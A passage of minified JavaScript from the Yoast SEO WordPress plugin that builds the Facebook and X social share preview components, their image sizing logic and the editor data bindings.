`,en=t=>{const{imageProps:s,width:r,height:n,imageMode:o}=t;return"landscape"===o?(0,e.createElement)(Jr,{aspectRatio:s.aspectRatio},(0,e.createElement)(Qr,{src:s.src,alt:s.alt})):(0,e.createElement)(Xr,{src:s.src,alt:s.alt,width:r,height:n,imageProperties:s})};function tn(e,t,s){return"landscape"===s?{widthRatio:t.width/e.landscapeWidth,heightRatio:t.height/e.landscapeHeight}:"portrait"===s?{widthRatio:t.width/e.portraitWidth,heightRatio:t.height/e.portraitHeight}:{widthRatio:t.width/e.squareWidth,heightRatio:t.height/e.squareHeight}}function sn(e,t){return t.widthRatio<=t.heightRatio?{width:Math.round(e.width/t.widthRatio),height:Math.round(e.height/t.widthRatio)}:{width:Math.round(e.width/t.heightRatio),height:Math.round(e.height/t.heightRatio)}}async function rn(e,t,s=!1){const r=await function(e){return new Promise(((t,s)=>{const r=new Image;r.onload=()=>{t({width:r.width,height:r.height})},r.onerror=s,r.src=e}))}(e);let n=s?"landscape":"square";"Facebook"===t&&(n=(0,Zr.determineFacebookImageMode)(r));const o=function(e){return"Twitter"===e?Zr.TWITTER_IMAGE_SIZES:Zr.FACEBOOK_IMAGE_SIZES}(t),a=function(e,t,s){return"square"===s&&t.width===t.height?{width:e.squareWidth,height:e.squareHeight}:sn(t,tn(e,t,s))}(o,r,n);return{mode:n,height:a.height,width:a.width}}async function nn(e,t,s=!1){try{return{imageProperties:await rn(e,t,s),status:"loaded"}}catch(e){return{imageProperties:null,status:"errored"}}}en.propTypes={imageProps:a().shape({src:a().string.isRequired,alt:a().string.isRequired,aspectRatio:a().number.isRequired}).isRequired,width:a().number.isRequired,height:a().number.isRequired,imageMode:a().string},en.defaultProps={imageMode:"landscape"};const on=c().div`
	position: relative;
	${e=>"landscape"===e.mode?`max-width: ${e.dimensions.width}`:`min-width: ${e.dimensions.width}; height: ${e.dimensions.height}`};
	overflow: hidden;
	background-color: ${pe.colors.$color_white};
`,an=c().div`
	box-sizing: border-box;
	max-width: ${Zr.FACEBOOK_IMAGE_SIZES.landscapeWidth}px;
	height: ${Zr.FACEBOOK_IMAGE_SIZES.landscapeHeight}px;
	background-color: ${pe.colors.$color_grey};
	border-style: dashed;
	border-width: 1px;
	// We're not using standard colors to increase contrast for accessibility.
	color: #006DAC;
	// We're not using standard colors to increase contrast for accessibility.
	background-color: #f1f1f1;
	display: flex;
	justify-content: center;
	align-items: center;
	text-decoration: underline;
	font-size: 14px;
	cursor: pointer;
`;class ln extends e.Component{constructor(e){super(e),this.state={imageProperties:null,status:"loading"},this.socialMedium="Facebook",this.handleFacebookImage=this.handleFacebookImage.bind(this),this.setState=this.setState.bind(this)}async handleFacebookImage(){try{const e=await nn(this.props.src,this.socialMedium);this.setState(e),this.props.onImageLoaded(e.imageProperties.mode||"landscape")}catch(e){this.setState(e),this.props.onImageLoaded("landscape")}}componentDidUpdate(e){e.src!==this.props.src&&this.handleFacebookImage()}componentDidMount(){this.handleFacebookImage()}retrieveContainerDimensions(e){switch(e){case"square":return{height:Zr.FACEBOOK_IMAGE_SIZES.squareHeight+"px",width:Zr.FACEBOOK_IMAGE_SIZES.squareWidth+"px"};case"portrait":return{height:Zr.FACEBOOK_IMAGE_SIZES.portraitHeight+"px",width:Zr.FACEBOOK_IMAGE_SIZES.portraitWidth+"px"};case"landscape":return{height:Zr.FACEBOOK_IMAGE_SIZES.landscapeHeight+"px",width:Zr.FACEBOOK_IMAGE_SIZES.landscapeWidth+"px"}}}render(){const{imageProperties:t,status:s}=this.state;if("loading"===s||""===this.props.src||"errored"===s)return(0,e.createElement)(an,{onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,g.__)("Select image","wordpress-seo"));const r=this.retrieveContainerDimensions(t.mode);return(0,e.createElement)(on,{mode:t.mode,dimensions:r,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave,onClick:this.props.onImageClick},(0,e.createElement)(en,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:Zr.FACEBOOK_IMAGE_SIZES.aspectRatio},width:t.width,height:t.height,imageMode:t.mode}))}}ln.propTypes={src:a().string,alt:a().string,onImageLoaded:a().func,onImageClick:a().func,onMouseEnter:a().func,onMouseLeave:a().func},ln.defaultProps={src:"",alt:"",onImageLoaded:i.noop,onImageClick:i.noop,onMouseEnter:i.noop,onMouseLeave:i.noop};const cn=ln,dn=c().span`
	line-height: ${20}px;
	min-height : ${20}px;
	color: #1d2129;
	font-weight: 600;
	overflow: hidden;
	font-size: 16px;
	margin: 3px 0 0;
	letter-spacing: normal;
	white-space: normal;
	flex-shrink: 0;
	cursor: pointer;
	display: -webkit-box;
	-webkit-line-clamp: ${e=>e.lineCount};
	-webkit-box-orient: vertical;
	overflow: hidden;
`,un=c().p`
	line-height: ${16}px;
	min-height : ${16}px;
	color: #606770;
	font-size: 14px;
	padding: 0;
	text-overflow: ellipsis;
	margin: 3px 0 0 0;
	display: -webkit-box;
	cursor: pointer;
	-webkit-line-clamp: ${e=>e.lineCount};
	-webkit-box-orient: vertical;
	overflow: hidden;

	@media all and ( max-width: ${e=>e.maxWidth} ) {
		display: none;
	}
`,pn=e=>{switch(e){case"landscape":return"527px";case"square":case"portrait":return"369px";default:return"476px"}},mn=c().div`
	box-sizing: border-box;
	display: flex;
	flex-direction: ${e=>"landscape"===e.mode?"column":"row"};
	background-color: #f2f3f5;
	max-width: 527px;
`,hn=c().div`
	box-sizing: border-box;
	background-color: #f2f3f5;
	margin: 0;
	padding: 10px 12px;
	position: relative;
	border-bottom: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border-top: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border-right: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border: ${e=>"landscape"===e.mode?"1px solid #dddfe2":""};
	display: flex;
	flex-direction: column;
	flex-grow: 1;
	justify-content: ${e=>"landscape"===e.mode?"flex-start":"center"};
	font-size: 12px;
	overflow: hidden;
`;class gn extends e.Component{constructor(e){super(e),this.state={imageMode:null,maxLineCount:0,descriptionLineCount:0},this.facebookTitleRef=t().createRef(),this.onImageLoaded=this.onImageLoaded.bind(this),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}onImageLoaded(e){this.setState({imageMode:e})}getTitleLineCount(){return this.facebookTitleRef.current.offsetHeight/20}maybeSetMaxLineCount(){const{imageMode:e,maxLineCount:t}=this.state,s="landscape"===e?2:5;s!==t&&this.setState({maxLineCount:s})}maybeSetDescriptionLineCount(){const{descriptionLineCount:e,maxLineCount:t,imageMode:s}=this.state,r=this.getTitleLineCount();let n=t-r;"portrait"===s&&(n=5===r?0:4),n!==e&&this.setState({descriptionLineCount:n})}componentDidUpdate(){this.maybeSetMaxLineCount(),this.maybeSetDescriptionLineCount()}render(){const{imageMode:t,maxLineCount:s,descriptionLineCount:r}=this.state;return(0,e.createElement)(mn,{id:"facebookPreview",mode:t},(0,e.createElement)(cn,{src:this.props.imageUrl||this.props.imageFallbackUrl,alt:this.props.alt,onImageLoaded:this.onImageLoaded,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,e.createElement)(hn,{mode:t},(0,e.createElement)(Gr,{siteUrl:this.props.siteUrl,mode:t}),(0,e.createElement)(dn,{ref:this.facebookTitleRef,onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle,lineCount:s},this.props.title),r>0&&(0,e.createElement)(un,{maxWidth:pn(t),onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription,lineCount:r},this.props.description)))}}gn.propTypes={siteUrl:a().string.isRequired,title:a().string.isRequired,description:a().string,imageUrl:a().string,imageFallbackUrl:a().string,alt:a().string,onSelect:a().func,onImageClick:a().func,onMouseHover:a().func},gn.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{}};const yn=gn,fn=c().div`
	text-transform: lowercase;
	color: rgb(83, 100, 113);
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	fill: currentcolor;
	display: flex;
	flex-direction: row;
	align-items: flex-end;
`,wn=t=>(0,e.createElement)(fn,null,(0,e.createElement)("span",null,t.siteUrl));wn.propTypes={siteUrl:a().string.isRequired};const bn=wn,En=(e,t=!0)=>e?`\n\t\t\tmax-width: ${Zr.TWITTER_IMAGE_SIZES.landscapeWidth}px;\n\t\t\t${t?"border-bottom: 1px solid #E1E8ED;":""}\n\t\t\tborder-radius: 14px 14px 0 0;\n\t\t\t`:`\n\t\twidth: ${Zr.TWITTER_IMAGE_SIZES.squareWidth}px;\n\t\t${t?"border-right: 1px solid #E1E8ED;":""}\n\t\tborder-radius: 14px 0 0 14px;\n\t\t`,vn=c().div`
	position: relative;
	box-sizing: content-box;
	overflow: hidden;
	background-color: #e1e8ed;
	flex-shrink: 0;
	${e=>En(e.isLarge)}
`,kn=c().div`
	display: flex;
	justify-content: center;
	align-items: center;
	box-sizing: border-box;
	max-width: 100%;
	margin: 0;
	padding: 1em;
	text-align: center;
	font-size: 1rem;
	${e=>En(e.isLarge,!1)}
`,xn=c()(kn)`
	${e=>e.isLarge&&`height: ${Zr.TWITTER_IMAGE_SIZES.landscapeHeight}px;`}
	border-top-left-radius: 14px;
	${e=>e.isLarge?"border-top-right-radius":"border-bottom-left-radius"}: 14px;
	border-style: dashed;
	border-width: 1px;
	// We're not using standard colors to increase contrast for accessibility.
	color: #006DAC;
	// We're not using standard colors to increase contrast for accessibility.
	background-color: #f1f1f1;
	text-decoration: underline;
	font-size: 14px;
	cursor: pointer;
`;class Tn extends t().Component{constructor(e){super(e),this.state={status:"loading"},this.socialMedium="Twitter",this.handleTwitterImage=this.handleTwitterImage.bind(this),this.setState=this.setState.bind(this)}async handleTwitterImage(){if(null===this.props.src)return;const e=await nn(this.props.src,this.socialMedium,this.props.isLarge);this.setState(e)}componentDidUpdate(e){e.src!==this.props.src&&this.handleTwitterImage()}componentDidMount(){this.handleTwitterImage()}render(){const{status:t,imageProperties:s}=this.state;return"loading"===t||""===this.props.src||"errored"===t?(0,e.createElement)(xn,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,g.__)("Select image","wordpress-seo")):(0,e.createElement)(vn,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,e.createElement)(en,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:Zr.TWITTER_IMAGE_SIZES.aspectRatio},width:s.width,height:s.height,imageMode:s.mode}))}}Tn.propTypes={isLarge:a().bool.isRequired,src:a().string,alt:a().string,onImageClick:a().func,onMouseEnter:a().func,onMouseLeave:a().func},Tn.defaultProps={src:"",alt:"",onMouseEnter:i.noop,onImageClick:i.noop,onMouseLeave:i.noop};const Rn=c().div`
	display: flex;
	flex-direction: column;
	padding: 12px;
	justify-content: center;
	margin: 0;
	box-sizing: border-box;
	flex: auto;
	min-width: 0px;
	gap:2px;
	> * {
		line-height:20px;
		min-height:20px;
		font-size:15px;
    }
`,Sn=t=>(0,e.createElement)(Rn,null,t.children);Sn.propTypes={children:a().array.isRequired};const In=Sn,Cn=c().p`
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	color: rgb(15, 20, 25);
	cursor: pointer;
`,Ln=c().p`
	max-height: 55px;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	color: rgb(83, 100, 113);
	display: -webkit-box;
	cursor: pointer;
	-webkit-line-clamp: 2;
	-webkit-box-orient: vertical;

	@media all and ( max-width: ${Zr.TWITTER_IMAGE_SIZES.landscapeWidth}px ) {
		display: none;
	}
`,Pn=c().div`
	font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, "Helvetica Neue", sans-serif;
	font-size: 15px;
	font-weight: 400;
	line-height: 20px;
	max-width: 507px;
	border: 1px solid #E1E8ED;
	box-sizing: border-box;
	border-radius: 14px;
	color: #292F33;
	background: #FFFFFF;
	text-overflow: ellipsis;
	display: flex;

	&:hover {
		background: #f5f8fa;
		border: 1px solid rgba(136,153,166,.5);
	}
`,qn=c()(Pn)`
	flex-direction: column;
	max-height: 370px;
`,An=c()(Pn)`
	flex-direction: row;
	height: 125px;
`;class Fn extends e.Component{constructor(e){super(e),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}render(){const{isLarge:t,imageUrl:s,imageFallbackUrl:r,alt:n,title:o,description:a,siteUrl:i}=this.props,l=t?qn:An;return(0,e.createElement)(l,{id:"twitterPreview"},(0,e.createElement)(Tn,{src:s||r,alt:n,isLarge:t,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,e.createElement)(In,null,(0,e.createElement)(bn,{siteUrl:i}),(0,e.createElement)(Cn,{onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle},o),(0,e.createElement)(Ln,{onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription},a)))}}Fn.propTypes={siteUrl:a().string.isRequired,title:a().string.isRequired,description:a().string,isLarge:a().bool,imageUrl:a().string,imageFallbackUrl:a().string,alt:a().string,onSelect:a().func,onImageClick:a().func,onMouseHover:a().func},Fn.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{},isLarge:!0};const Nn=Fn,Mn=window.yoast.replacementVariableEditor;class On extends e.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.SocialPreview="Social"===e.socialMediumName?yn:Nn,this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:s,onTitleChange:r,onSelectImageClick:n,onRemoveImageClick:o,socialMediumName:a,imageWarnings:i,siteUrl:l,description:c,descriptionInputPlaceholder:d,descriptionPreviewFallback:u,imageUrl:p,imageFallbackUrl:m,alt:h,title:g,titleInputPlaceholder:y,titlePreviewFallback:f,replacementVariables:w,recommendedReplacementVariables:b,applyReplacementVariables:E,onReplacementVariableSearchChange:v,isPremium:k,isLarge:_,socialPreviewLabel:x,idSuffix:T,activeMetaTabId:R}=this.props,S=E({title:g||f,description:c||u});return(0,e.createElement)(t().Fragment,null,x&&(0,e.createElement)(ue.SimulatedLabel,null,x),(0,e.createElement)(this.SocialPreview,{onMouseHover:this.setHoveredField,onSelect:this.setActiveField,onImageClick:n,siteUrl:l,title:S.title,description:S.description,imageUrl:p,imageFallbackUrl:m,alt:h,isLarge:_,activeMetaTabId:R}),(0,e.createElement)(Zr.SocialMetadataPreviewForm,{onDescriptionChange:s,socialMediumName:a,title:g,titleInputPlaceholder:y,onRemoveImageClick:o,imageSelected:!!p,imageUrl:p,onTitleChange:r,onSelectImageClick:n,description:c,descriptionInputPlaceholder:d,imageWarnings:i,replacementVariables:w,recommendedReplacementVariables:b,onReplacementVariableSearchChange:v,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:k,setEditorRef:this.setEditorRef,idSuffix:T}))}}On.propTypes={title:a().string.isRequired,onTitleChange:a().func.isRequired,description:a().string.isRequired,onDescriptionChange:a().func.isRequired,imageUrl:a().string.isRequired,imageFallbackUrl:a().string.isRequired,onSelectImageClick:a().func.isRequired,onRemoveImageClick:a().func.isRequired,socialMediumName:a().string.isRequired,alt:a().string,isPremium:a().bool,imageWarnings:a().array,isLarge:a().bool,siteUrl:a().string,descriptionInputPlaceholder:a().string,titleInputPlaceholder:a().string,descriptionPreviewFallback:a().string,titlePreviewFallback:a().string,replacementVariables:Mn.replacementVariablesShape,recommendedReplacementVariables:Mn.recommendedReplacementVariablesShape,applyReplacementVariables:a().func,onReplacementVariableSearchChange:a().func,socialPreviewLabel:a().string,idSuffix:a().string,activeMetaTabId:a().string},On.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,isLarge:!0,siteUrl:"",descriptionInputPlaceholder:"",titleInputPlaceholder:"",descriptionPreviewFallback:"",titlePreviewFallback:"",alt:"",applyReplacementVariables:e=>e,onReplacementVariableSearchChange:null,socialPreviewLabel:"",idSuffix:"",activeMetaTabId:""};const Dn={},$n=(e,t,{log:s=console.warn}={})=>{Dn[e]||(Dn[e]=!0,s(t))},Bn=(e,t=i.noop)=>{const s={};for(const r in e)Object.hasOwn(e,r)&&Object.defineProperty(s,r,{set:s=>{e[r]=s,t("set",r,s)},get:()=>(t("get",r),e[r])});return s};Bn({squareWidth:125,squareHeight:125,landscapeWidth:506,landscapeHeight:265,aspectRatio:50.2},((e,t)=>$n(`@yoast/social-metadata-previews/TWITTER_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "TWITTER_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`))),Bn({squareWidth:158,squareHeight:158,landscapeWidth:527,landscapeHeight:273,portraitWidth:158,portraitHeight:237,aspectRatio:52.2,largeThreshold:{width:446,height:233}},((e,t)=>$n(`@yoast/social-metadata-previews/FACEBOOK_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "FACEBOOK_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`)));const Un=c().div`
	max-width: calc(527px + 1.5rem);
`,Wn=t=>{const s="X"===t.socialMediumName?(0,g.__)("X share preview","wordpress-seo"):(0,g.__)("Social share preview","wordpress-seo"),{locationContext:r}=(0,m.useRootContext)();return(0,e.createElement)(m.Root,null,(0,e.createElement)(Un,null,(0,e.createElement)(m.FeatureUpsell,{shouldUpsell:!0,variant:"card",cardLink:(0,ur.addQueryArgs)(wpseoAdminL10n["shortlinks.upsell.social_preview."+t.socialMediumName.toLowerCase()],{context:r}),cardText:(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},(0,e.createElement)("div",{className:"yst-grayscale yst-opacity-50"},(0,e.createElement)(m.Label,null,s),(0,e.createElement)(yn,{title:"",description:"",siteUrl:"",imageUrl:"",imageFallbackUrl:"",alt:"",onSelect:i.noop,onImageClick:i.noop,onMouseHover:i.noop})))))};Wn.propTypes={socialMediumName:a().oneOf(["Social","Twitter","X"]).isRequired};const jn=Wn;class Kn extends r.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:t,onTitleChange:s,onSelectImageClick:n,onRemoveImageClick:o,socialMediumName:a,imageWarnings:i,description:l,descriptionInputPlaceholder:c,imageUrl:d,alt:u,title:p,titleInputPlaceholder:m,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,isPremium:f,location:w}=this.props;return(0,e.createElement)(r.Fragment,null,(0,e.createElement)(jn,{socialMediumName:a}),(0,e.createElement)(Zr.SocialMetadataPreviewForm,{onDescriptionChange:t,socialMediumName:a,title:p,titleInputPlaceholder:m,onRemoveImageClick:o,imageSelected:!!d,imageUrl:d,imageAltText:u,onTitleChange:s,onSelectImageClick:n,description:l,descriptionInputPlaceholder:c,imageWarnings:i,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:f,setEditorRef:this.setEditorRef,idSuffix:w}))}}Kn.propTypes={title:a().string.isRequired,onTitleChange:a().func.isRequired,description:a().string.isRequired,onDescriptionChange:a().func.isRequired,imageUrl:a().string.isRequired,onSelectImageClick:a().func.isRequired,onRemoveImageClick:a().func.isRequired,socialMediumName:a().string.isRequired,isPremium:a().bool,imageWarnings:a().array,descriptionInputPlaceholder:a().string,titleInputPlaceholder:a().string,replacementVariables:Mn.replacementVariablesShape,recommendedReplacementVariables:Mn.recommendedReplacementVariablesShape,onReplacementVariableSearchChange:a().func,location:a().string,alt:a().string},Kn.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,descriptionInputPlaceholder:"",titleInputPlaceholder:"",onReplacementVariableSearchChange:null,location:"",alt:""};const Hn=Kn,Yn=t=>{const[s,o]=(0,r.useState)(""),a=(0,r.useCallback)((e=>{o(e.detail.metaTabId)}),[o]);(0,r.useEffect)((()=>(setTimeout(t.onLoad),window.addEventListener("YoastSEO:metaTabChange",a),()=>{window.removeEventListener("YoastSEO:metaTabChange",a)})),[]);const i=(0,r.useMemo)((()=>({...t,activeMetaTabId:s})),[t,s]);return t.isPremium?(0,e.createElement)(n.Slot,{name:`YoastFacebookPremium${t.location.charAt(0).toUpperCase()+t.location.slice(1)}`,fillProps:i}):(0,e.createElement)(Hn,{...i})};Yn.propTypes={isPremium:a().bool.isRequired,onLoad:a().func.isRequired,location:a().string.isRequired};const zn=Yn;function Vn(e){(function(e){const t=window.wp.media();return t.on("select",(()=>{const s=t.state().get("selection").first();var r;e({type:(r=s.attributes).subtype,width:r.width,height:r.height,url:r.url,id:r.id,sizes:r.sizes,alt:r.alt||r.title||r.name})})),t})(e).open()}const Gn=()=>{Vn((e=>(0,h.dispatch)("yoast-seo/editor").setFacebookPreviewImage((e=>{const{width:t,height:s}=e,r=(0,Zr.determineFacebookImageMode)({width:t,height:s}),n=Zr.FACEBOOK_IMAGE_SIZES[r+"Width"],o=Zr.FACEBOOK_IMAGE_SIZES[r+"Height"],a=Object.values(e.sizes).find((e=>e.width>=n&&e.height>=o));return{url:a?a.url:e.url,id:e.id,warnings:(0,Re.validateFacebookImage)(e),alt:e.alt||""}})(e))))},Zn=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getFacebookDescription:t,getDescription:s,getFacebookTitle:r,getSeoTitle:n,getFacebookImageUrl:o,getImageFallback:a,getFacebookWarnings:i,getRecommendedReplaceVars:l,getReplaceVars:c,getSiteUrl:d,getSeoTitleTemplate:u,getSeoTitleTemplateNoFallback:p,getSocialTitleTemplate:m,getSeoDescriptionTemplate:h,getSocialDescriptionTemplate:g,getReplacedExcerpt:y,getFacebookAltText:f}=e("yoast-seo/editor");return{imageUrl:o(),imageFallbackUrl:a(),recommendedReplacementVariables:l(),replacementVariables:c(),description:t(),descriptionPreviewFallback:g()||s()||h()||y()||"",title:r(),titlePreviewFallback:m()||n()||p()||u()||"",imageWarnings:i(),siteUrl:d(),isPremium:!!br().isPremium,titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"Social",alt:f()}})),(0,h.withDispatch)(((e,t,{select:s})=>{const{setFacebookPreviewTitle:r,setFacebookPreviewDescription:n,clearFacebookPreviewImage:o,loadFacebookPreviewData:a,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:Gn,onRemoveImageClick:o,onDescriptionChange:n,onTitleChange:r,onLoad:a,onReplacementVariableSearchChange:Bs(l,i)}})),Ss()])(zn),Xn=t=>((0,r.useEffect)((()=>{setTimeout(t.onLoad)}),[]),t.isPremium?(0,e.createElement)(n.Slot,{name:`YoastTwitterPremium${t.location.charAt(0).toUpperCase()+t.location.slice(1)}`,fillProps:t}):(0,e.createElement)(Hn,{...t}));Xn.propTypes={isPremium:a().bool.isRequired,onLoad:a().func.isRequired,location:a().string.isRequired};const Qn=Xn,Jn=()=>{Vn((e=>(0,h.dispatch)("yoast-seo/editor").setTwitterPreviewImage((e=>{const t="summary"!==(0,i.get)(window,"wpseoScriptData.metabox.twitterCardType")?"landscape":"square",s=Zr.TWITTER_IMAGE_SIZES[t+"Width"],r=Zr.TWITTER_IMAGE_SIZES[t+"Height"],n=Object.values(e.sizes).find((e=>e.width>=s&&e.height>=r));return{url:n?n.url:e.url,id:e.id,warnings:(0,Re.validateTwitterImage)(e),alt:e.alt||""}})(e))))},eo=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getTwitterDescription:t,getTwitterTitle:s,getTwitterImageUrl:r,getFacebookImageUrl:n,getFacebookTitle:o,getFacebookDescription:a,getDescription:i,getSeoTitle:l,getTwitterWarnings:c,getTwitterImageType:d,getImageFallback:u,getRecommendedReplaceVars:p,getReplaceVars:m,getSiteUrl:h,getSeoTitleTemplate:g,getSeoTitleTemplateNoFallback:y,getSocialTitleTemplate:f,getSeoDescriptionTemplate:w,getSocialDescriptionTemplate:b,getReplacedExcerpt:E,getTwitterAltText:v}=e("yoast-seo/editor");return{imageUrl:r(),imageFallbackUrl:n()||u(),recommendedReplacementVariables:p(),replacementVariables:m(),description:t(),descriptionPreviewFallback:b()||a()||i()||w()||E()||"",title:s(),titlePreviewFallback:f()||o()||l()||y()||g()||"",imageWarnings:c(),siteUrl:h(),isPremium:!!br().isPremium,isLarge:"summary"!==d(),titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"X",alt:v()}})),(0,h.withDispatch)(((e,t,{select:s})=>{const{setTwitterPreviewTitle:r,setTwitterPreviewDescription:n,clearTwitterPreviewImage:o,loadTwitterPreviewData:a,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:Jn,onRemoveImageClick:o,onDescriptionChange:n,onTitleChange:r,onLoad:a,onReplacementVariableSearchChange:Bs(l,i)}})),Ss()])(Qn),to=c().legend`
	margin: 16px 0;
	padding: 0;
	color: ${pe.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,so=c().legend`
	margin: 0 0 16px;
	padding: 0;
	color: ${pe.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,ro=c().div`
	padding: 16px;
`,no=({useOpenGraphData:t,useTwitterData:s})=>(0,e.createElement)(r.Fragment,null,s&&t&&(0,e.createElement)(r.Fragment,null,(0,e.createElement)(Vs,{hasSeparator:!1
/* translators: Social media appearance refers to a preview of how a page will be represented on social media. */,title:(0,g.__)("Social media appearance","wordpress-seo"),initialIsOpen:!0},(0,e.createElement)(so,null,(0,g.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,e.createElement)(Zn,null),(0,e.createElement)(to,null,(0,g.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below. If you leave these settings untouched, the 'Social media appearance' settings mentioned above will also be applied for sharing on X.","wordpress-seo"))),(0,e.createElement)(Vs,{title:(0,g.__)("X appearance","wordpress-seo"),hasSeparator:!0,initialIsOpen:!1},(0,e.createElement)(eo,null))),t&&!s&&(0,e.createElement)(ro,null,(0,e.createElement)(so,null,(0,g.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,e.createElement)(Zn,null)),!t&&s&&(0,e.createElement)(ro,null,(0,e.createElement)(so,null,(0,g.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below.","wordpress-seo")),(0,e.createElement)(eo,null)));no.propTypes={useOpenGraphData:a().bool.isRequired,useTwitterData:a().bool.isRequired};const oo=no,ao=(0,h.withSelect)((e=>{const{getPreferences:t}=e("yoast-seo/editor"),{useOpenGraphData:s,useTwitterData:r}=t();return{useOpenGraphData:s,useTwitterData:r}}))(oo);function io({target:t}){return(0,e.createElement)(ge,{target:t},(0,e.createElement)(ao,null))}io.propTypes={target:a().string.isRequired};const lo=(0,Re.makeOutboundLink)(),co=c().div`
	padding: 16px;
`,uo="yoast-seo/editor";function po({location:t,show:s}){return s?(0,e.createElement)(ue.Alert,{type:"info"},(0,g.sprintf)(/* translators: %s Expands to "Yoast News SEO" */
